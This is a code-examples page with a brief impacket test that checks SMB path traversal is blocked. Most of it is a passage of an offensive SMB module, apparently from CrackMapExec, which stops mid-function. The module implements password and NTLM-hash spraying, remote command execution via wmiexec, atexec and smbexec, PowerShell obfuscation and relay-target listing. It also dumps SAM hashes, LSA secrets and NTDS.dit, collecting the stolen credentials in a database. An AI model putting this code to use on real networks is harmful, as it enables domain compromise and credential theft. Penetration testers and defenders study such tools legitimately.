Ejemplo n.º 1
0
    def test_smbserver_share_list(self):
        """Test listing files in a shared folder.
        """
        server = SimpleSMBServer(listenAddress=self.address,
                                 listenPort=int(self.port))
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        server.addShare(self.share_name, self.share_path)
        self.start_smbserver(server)

        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)
        client.listPath(self.share_name, "/")

        # Check path traversal in list as in #1066
        with self.assertRaises(SessionError):
            client.listPath(self.share_name, "../impacket/")

        client.close()
Ejemplo n.º 2
0
class smb(connection):

    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None
        self.os_arch = 0
        self.hash = None
        self.lmhash = ''
        self.nthash = ''
        self.remote_ops = None
        self.bootkey = None
        self.output_filename = None
        self.smbv1 = None
        self.signing = False
        self.smb_share_name = smb_share_name

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser])
        smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
        smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
        dgroup = smb_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
        smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
        smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
        smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
        smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
        smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
        
        cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
        cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
        cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
        #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
        #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')

        egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
        egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
        egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
        egroup.add_argument('--disks', action='store_true', help='enumerate disks')
        egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
        egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.')
        egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
        egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)')
        egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
        egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)')

        sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
        sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
        sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)')
        sgroup.add_argument("--content", action='store_true', help='enable file content searching')
        sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering')
        segroup = sgroup.add_mutually_exclusive_group()
        segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content')
        segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
        sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)')
        sgroup.add_argument("--only-files", action='store_true', help='only spider files')

        tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
        tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt')
        tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt')

        cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
        cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
        psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
        psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')

        return parser

    def proto_logger(self):
        self.logger = CMEAdapter(extra={
                                        'protocol': 'SMB',
                                        'host': self.host,
                                        'port': self.args.port,
                                        'hostname': self.hostname
                                        })

    def get_os_arch(self):
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            if self.args.kerberos:
                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
            except (DCERPCException, e):
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64

        except Exception as e:
            logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))

        return 0

    def enum_host_info(self):
        self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]

        try:
            self.conn.login('' , '')
        except:
            #if "STATUS_ACCESS_DENIED" in e:
            pass

        self.domain    = self.conn.getServerDNSDomainName()
        self.hostname  = self.conn.getServerName()
        self.server_os = self.conn.getServerOS()
        self.signing   = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
        self.os_arch   = self.get_os_arch()

        self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))

        if not self.domain:
            self.domain = self.hostname

        self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)

        try:
            '''
                DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                (go home Windows, you're drunk)
            '''
            self.conn.logoff()
        except:
            pass

        if self.args.domain:
            self.domain = self.args.domain
        
        if self.args.local_auth:
            self.domain = self.hostname

        #Re-connect since we logged off
        self.create_conn_obj()

    def print_host_info(self):
        self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
                                                                                      ' x{}'.format(self.os_arch) if self.os_arch else '',
                                                                                      self.hostname,
                                                                                      self.domain,
                                                                                      self.signing,
                                                                                      self.smbv1))
    def kerberos_login(self, aesKey, kdcHost):
        # dirty code to check if user is admin but pywerview does not support kerberos auth ...
        error = ''
        try:
            self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost)
            # self.check_if_admin() # currently pywerview does not support kerberos auth
        except SessionError as e:
            error = e
        try:
            self.conn.connectTree("C$")
            self.admin_privs = True
        except SessionError as e:
            pass
        if not error:
            out = u'{}\\{} {}'.format(self.domain,
                                    self.conn.getCredentials()[0],
                                    highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
            self.logger.success(out)
            return True
        else:
            self.logger.error(u'{} {} {}'.format(self.domain, 
                                                 error, 
                                                 '({})'.format(desc) if self.args.verbose else ''))
            return False

        # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
        if self.signing:
            try:
                self.conn.logoff()
            except:
                pass
            self.create_conn_obj()

    def plaintext_login(self, domain, username, password):
        try:
            self.password = password
            self.username = username
            self.domain = domain
            self.conn.login(username, password, domain)

            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.add_admin_user('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain,
                                         username,
                                         password,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()

        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        password,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')          
            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True  

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            self.hash = ntlm_hash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash

            self.username = username
            self.domain = domain
            self.conn.login(username, '', domain, lmhash, nthash)

            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain,
                                         username,
                                         ntlm_hash,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
            if self.signing:
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')

            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True 

    def create_smbv1_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT)
            self.smbv1 = True
        except socket.error as e:
            if str(e).find('Connection reset by peer') != -1:
                logging.debug('SMBv1 might be disabled on {}'.format(self.host))
            return False
        except Exception as e:
            logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_smbv3_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port)
            self.smbv1 = False
        except socket.error:
            return False
        except Exception as e:
            logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_conn_obj(self):
        if self.create_smbv1_conn():
            return True
        elif self.create_smbv3_conn():
            return True

        return False

    def check_if_admin(self):
        lmhash = ''
        nthash = ''

        if self.hash:
            if self.hash.find(':') != -1:
                lmhash, nthash = self.hash.split(':')
            else:
                nthash = self.hash
        self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)

    def gen_relay_list(self):
        if self.server_os.lower().find('windows') != -1 and self.signing is False:
            with sem:
                with open(self.args.gen_relay_list, 'a+') as relay_list:
                    if self.host not in relay_list.read():
                        relay_list.write(self.host + '\n')

    @requires_admin
    @requires_smb_server
    def execute(self, payload=None, get_output=False, methods=None):

        if self.args.exec_method: methods = [self.args.exec_method]
        if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec']

        if not payload and self.args.execute:
            payload = self.args.execute
            if not self.args.no_output: get_output = True

        for method in methods:

            if method == 'wmiexec':
                try:
                    exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via wmiexec')
                    break
                except:
                    logging.debug('Error executing command via wmiexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'mmcexec':
                try:
                    exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash)
                    logging.debug('Executed command via mmcexec')
                    break
                except:
                    logging.debug('Error executing command via mmcexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'atexec':
                try:
                    exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share)
                    logging.debug('Executed command via atexec')
                    break
                except:
                    logging.debug('Error executing command via atexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'smbexec':
                try:
                    exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via smbexec')
                    break
                except:
                    logging.debug('Error executing command via smbexec, traceback:')
                    logging.debug(format_exc())
                    continue

        if hasattr(self, 'server'): self.server.track_host(self.host)

        output = u'{}'.format(exec_method.execute(payload, get_output).strip())

        if self.args.execute or self.args.ps_execute:
            self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
            buf = StringIO(output).readlines()
            for line in buf:
                self.logger.highlight(line.strip())

        return output

    @requires_admin
    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False):
        if not payload and self.args.ps_execute:
            payload = self.args.ps_execute
            if not self.args.no_output: get_output = True

        if os.path.isfile(payload):
            with open(payload) as commands:
                for c in commands:
                    self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        else:
            self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        return ''

    def shares(self):
        temp_dir = ntpath.normpath("\\" + gen_random_string())
        #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0]
        permissions = []

        try:
            for share in self.conn.listShares():
                share_name = share['shi1_netname'][:-1]
                share_remark = share['shi1_remark'][:-1]
                share_info = {'name': share_name, 'remark': share_remark, 'access': []}
                read = False
                write = False

                try:
                    self.conn.listPath(share_name, '*')
                    read = True
                    share_info['access'].append('READ')
                except SessionError:
                    pass

                try:
                    self.conn.createDirectory(share_name, temp_dir)
                    self.conn.deleteDirectory(share_name, temp_dir)
                    write = True
                    share_info['access'].append('WRITE')
                except SessionError:
                    pass

                permissions.append(share_info)
                #self.db.add_share(hostid, share_name, share_remark, read, write)

            self.logger.success('Enumerated shares')
            self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
            self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
            for share in permissions:
                name   = share['name']
                remark = share['remark']
                perms  = share['access']

                self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))

        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating shares: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return permissions

    def get_dc_ips(self):
        dc_ips = []

        for dc in self.db.get_domain_controllers(domain=self.domain):
            dc_ips.append(dc[1])

        if not dc_ips:
            dc_ips.append(self.host)

        return dc_ips

    def sessions(self):
        sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
        self.logger.success('Enumerated sessions')
        for session in sessions:
            if session.sesi10_cname.find(self.local_ip) == -1:
                self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))

        return sessions

    def disks(self):
        disks = []
        try:
            disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            self.logger.success('Enumerated disks')
            for disk in disks:
                self.logger.highlight(disk.disk)
        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating disks: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return disks

    def local_groups(self):
        groups = []
        #To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
        for dc_ip in self.get_dc_ips():
            try:
                groups = get_netlocalgroup(self.host, dc_ip, '', self.username,
                                           self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups,
                                           list_groups=True if not self.args.local_groups else False, recurse=False)

                if self.args.local_groups:
                    self.logger.success('Enumerated members of local group')
                else:
                    self.logger.success('Enumerated local groups')

                for group in groups:
                    if group.name:
                        if not self.args.local_groups:
                            self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount))
                            self.db.add_group(self.hostname, group.name)
                        else:
                            domain, name = group.name.split('/')
                            self.logger.highlight('{}\\{}'.format(domain.upper(), name))
                            try:
                                group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0]
                            except IndexError:
                                group_id = self.db.add_group(domain, self.args.local_groups)

                            # yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
                            # (╯°□°)╯︵ ┻━┻

                            if not group.isgroup:
                                self.db.add_user(domain, name, group_id)
                            elif group.isgroup:
                                self.db.add_group(domain, name)
                break
            except Exception as e:
                self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))

        return groups

    def domainfromdsn(self, dsn):
        dsnparts = dsn.split(',')
        domain = ""
        for part in dsnparts:
            k,v = part.split("=")
            if k == "DC":
                if domain=="":
                    domain = v
                else:
                    domain = domain+"."+v
        return domain

    def groups(self):
        groups = []
        for dc_ip in self.get_dc_ips():
            if self.args.groups:
                try:
                    groups = get_netgroupmember(dc_ip, '', self.username, password=self.password,
                                                lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(),
                                                queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False,
                                                full_data=False, custom_filter=str())

                    self.logger.success('Enumerated members of domain group')
                    for group in groups:
                        self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername))

                        try:
                            group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0]
                        except IndexError:
                            group_id = self.db.add_group(group.groupdomain, self.args.groups)

                        if not group.isgroup:
                            self.db.add_user(group.memberdomain, group.membername, group_id)
                        elif group.isgroup:
                            self.db.add_group(group.groupdomain, group.groupname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
            else:
                try:
                    groups = get_netgroup(dc_ip, '', self.username, password=self.password,
                                          lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(),
                                          queried_username=str(), queried_domain=str(), ads_path=str(),
                                          admin_count=False, full_data=True, custom_filter=str())

                    self.logger.success('Enumerated domain group(s)')
                    for group in groups:
                        self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0))

                        if bool(group.isgroup) is True:
                            # Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
                            domain = self.domainfromdsn(group.distinguishedname)
                            self.db.add_group(domain, group.samaccountname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))

        return groups

    def users(self):
        users = []
        for dc_ip in self.get_dc_ips():
            try:
                users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash,
                                    nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(),
                                    admin_count=False, spn=False, unconstrained=False, allow_delegation=False,
                                    custom_filter=str())

                self.logger.success('Enumerated domain user(s)')
                for user in users:
                    domain = self.domainfromdsn(user.distinguishedname)
                    self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime','')))
                    self.db.add_user(domain, user.samaccountname)

                break
            except Exception as e:
                logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e))

        return users

    def loggedon_users(self):
        loggedon = []
        try:
            loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash)
            self.logger.success('Enumerated loggedon users')
            for user in loggedon:
                self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username,
                                                           'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else ''))
        except Exception as e:
            self.logger.error('Error enumerating logged on users: {}'.format(e))

        return loggedon

    def pass_pol(self):
        return PassPolDump(self).dump()

    @requires_admin
    def wmi(self, wmi_query=None, namespace=None):
        records = []
        if not namespace:
            namespace = self.args.wmi_namespace

        try:
            rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            rpc._create_wmi_connection(namespace=namespace)

            if wmi_query:
                query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
            else:
                query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
        except Exception as e:
            self.logger.error('Error creating WMI connection: {}'.format(e))
            return records

        while True:
            try:
                wmi_results = query.Next(0xffffffff, 1)[0]
                record = wmi_results.getProperties()
                records.append(record)
                for k,v in record.items():
                    self.logger.highlight('{} => {}'.format(k,v['value']))
                self.logger.highlight('')
            except Exception as e:
                if str(e).find('S_FALSE') < 0:
                    raise e
                else:
                    break

        return records

    def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
        spider = SMBSpider(self.conn, self.logger)

        self.logger.info('Started spidering')
        start_time = time()
        if not share:
            spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
                          self.args.regex, self.args.exclude_dirs, self.args.depth,
                          self.args.content, self.args.only_files)
        else:
            spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles)

        self.logger.info("Done spidering (Completed in {})".format(time() - start_time))

        return spider.results

    def rid_brute(self, maxRid=None):
        entries = []
        if not maxRid:
            maxRid = int(self.args.rid_brute)

        KNOWN_PROTOCOLS = {
            135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},
            139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
            445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
            }

        try:
            stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host)
            logging.debug('StringBinding {}'.format(stringbinding))
            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(self.args.port)

            if KNOWN_PROTOCOLS[self.args.port]['set_host']:
                rpctransport.setRemoteHost(self.host)

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)

            dce = rpctransport.get_dce_rpc()
            dce.connect()
        except Exception as e:
            self.logger.error('Error creating DCERPC connection: {}'.format(e))
            return entries

        # Want encryption? Uncomment next line
        # But make SIMULTANEOUS variable <= 100
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)

        # Want fragmentation? Uncomment next line
        #dce.set_max_fragment_size(32)

        self.logger.success('Brute forcing RIDs')
        dce.bind(lsat.MSRPC_UUID_LSAT)
        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)

        domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()

        soFar = 0
        SIMULTANEOUS = 1000
        for j in range(maxRid//SIMULTANEOUS+1):
            if (maxRid - soFar) // SIMULTANEOUS == 0:
                sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
            else:
                sidsToCheck = SIMULTANEOUS

            if sidsToCheck == 0:
                break

            sids = list()
            for i in range(soFar, soFar+sidsToCheck):
                sids.append(domainSid + '-%d' % i)
            try:
                lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
            except DCERPCException as e:
                if str(e).find('STATUS_NONE_MAPPED') >= 0:
                    soFar += SIMULTANEOUS
                    continue
                elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
                    resp = e.get_packet()
                else:
                    raise

            for n, item in enumerate(resp['TranslatedNames']['Names']):
                if item['Use'] != SID_NAME_USE.SidTypeUnknown:
                    rid    = soFar + n
                    domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
                    user   = item['Name']
                    sid_type = SID_NAME_USE.enumItems(item['Use']).name
                    self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
                    entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})

            soFar += SIMULTANEOUS

        dce.disconnect()

        return entries

    @requires_admin
    def put_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
        with open(self.args.put_file[0], 'rb') as file:
            try:
                self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
                self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1]))
            except Exception as e:
                self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e))

    @requires_admin
    def get_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
        with open(self.args.get_file[1], 'wb+') as file:
            try:
                self.conn.getFile(self.args.share, self.args.get_file[0], file.write)
                self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
            except Exception as e:
                self.logger.error('Error reading file {}: {}'.format(self.args.share, e))

    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return

        try:
            self.remote_ops  = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.error('RemoteOperations failed: {}'.format(e))

    @requires_admin
    def sam(self):
        self.enable_remoteops()

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_sam_hash(sam_hash, host_id):
            add_sam_hash.sam_hashes += 1
            self.logger.highlight(sam_hash)
            username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
            self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
        add_sam_hash.sam_hashes = 0

        if self.remote_ops and self.bootkey:
            #try:
            SAMFileName = self.remote_ops.saveSAM()
            SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))

            self.logger.success('Dumping SAM hashes')
            SAM.dump()
            SAM.export(self.output_filename)

            self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))

            #except Exception as e:
                #self.logger.error('SAM hashes extraction failed: {}'.format(e))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            SAM.finish()

    @requires_admin
    def lsa(self):
        self.enable_remoteops()

        def add_lsa_secret(secret):
            add_lsa_secret.secrets += 1
            self.logger.highlight(secret)
        add_lsa_secret.secrets = 0

        if self.remote_ops and self.bootkey:

            SECURITYFileName = self.remote_ops.saveSECURITY()

            LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True,
                             perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))

            self.logger.success('Dumping LSA secrets')
            LSA.dumpCachedHashes()
            LSA.exportCached(self.output_filename)
            LSA.dumpSecrets()
            LSA.exportSecrets(self.output_filename)

            self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets),
                                                                            self.output_filename + '.secrets', self.output_filename + '.cached'))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            LSA.finish()

    @requires_admin
    def ntds(self):
        self.enable_remoteops()
        use_vss_method = False
        NTDSFileName   = None

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_ntds_hash(ntds_hash, host_id):
            add_ntds_hash.ntds_hashes += 1
            self.logger.highlight(ntds_hash)
            if ntds_hash.find('$') == -1:
                if ntds_hash.find('\\') != -1:
                    domain, hash = ntds_hash.split('\\')
                else:
                    domain = self.domain
                    hash = ntds_hash

                try:
                    username,_,lmhash,nthash,_,_,_ = hash.split(':')
                    parsed_hash = ':'.join((lmhash, nthash))
                    if validate_ntlm(parsed_hash):
                        self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
                        add_ntds_hash.added_to_db += 1
                        return
                    raise
                except:
                    logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
            else:
